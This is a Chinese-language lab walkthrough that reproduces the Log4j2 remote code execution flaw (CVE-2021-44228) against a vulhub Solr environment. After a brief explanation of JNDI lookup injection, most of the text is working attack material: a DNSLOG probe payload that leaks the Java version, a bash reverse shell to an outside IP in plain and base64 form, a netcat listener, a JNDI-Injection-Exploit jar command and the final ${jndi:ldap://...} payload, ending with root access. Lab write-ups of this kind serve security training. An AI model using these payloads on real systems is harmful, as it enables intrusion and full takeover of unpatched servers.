相关概念
log4j2是Apache的⼀个java日志框架，我们借助它进行日志相关操作管理，然而在2021年末log4j2爆出了远程代码执行漏洞，属于严重等级的漏洞
漏洞原理
简单说就是当你使⽤log4j2中提供的⽅法去输出⽇志信息时，⽐如说最常⻅的：
String a = "变量输⼊"
JNDI注入介绍
JNDI，中⽂名叫java命名和⽬录接⼝，它为我们提供了命名和⽬录服务，具体就不多讲了。主要是JNDI其中有⼀个lookup()⽅法，这是⼀个查找⽅法，上⾯代码执⾏结果也正是因为log4j2在获取到${}这样的格式的时候会⾃动的去调⽤lookup()⽅法。⽽这个⽅法的可怕之处就在于，它可以远程加载对象，⽐如我们传⼀个像如下，但是这样的参数进去，它就可以远程访问到我们（⿊客）本地的类，那如果这些类⾥⾯有恶意代码的话造成的危害显然是⾮常严重的
漏洞复现
第一步：执行以下命令启动靶场环境并在浏览器访问
启动命令
systemctl start docker
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
查看端口号
docker ps
访问网址
http://8.155.7.173:8983/solr/#/
第二步：先在自己搭建的DNSLOG平台上获取⼀个域名来监控我们注入的效果
网址：www.dnslog.cn
第三步：上传参数
可以发现 /solr/admin/cores?action= 这⾥有个参数可以传，可以按照上⾯的原理先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执行我们传上去的payload然后在DNSLOG平台上那⾥留下记录，我们可以看到留下了访问记录并且前⾯的参数被执行后给我们回显了java的版本号
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.8l97ri.dnslog.cn}
第四步：反弹shell
JDNI项目地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0反弹shell
bash -i >& /dev/tcp/8.155.7.173/8888 0>&1反弹Shell-base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS43LjE3My84ODg4IDA+JjE=
开启监听
nc -lvvp 8888
最终Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS43LjE3My84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "8.155.7.173"
拿取JDK1.8并构造Payload且直接访问
/solr/admin/cores?action=${jndi:ldap://8.155.7.173:1389/5mkbnf}
发现已经成功
获取到root权限了大功告成
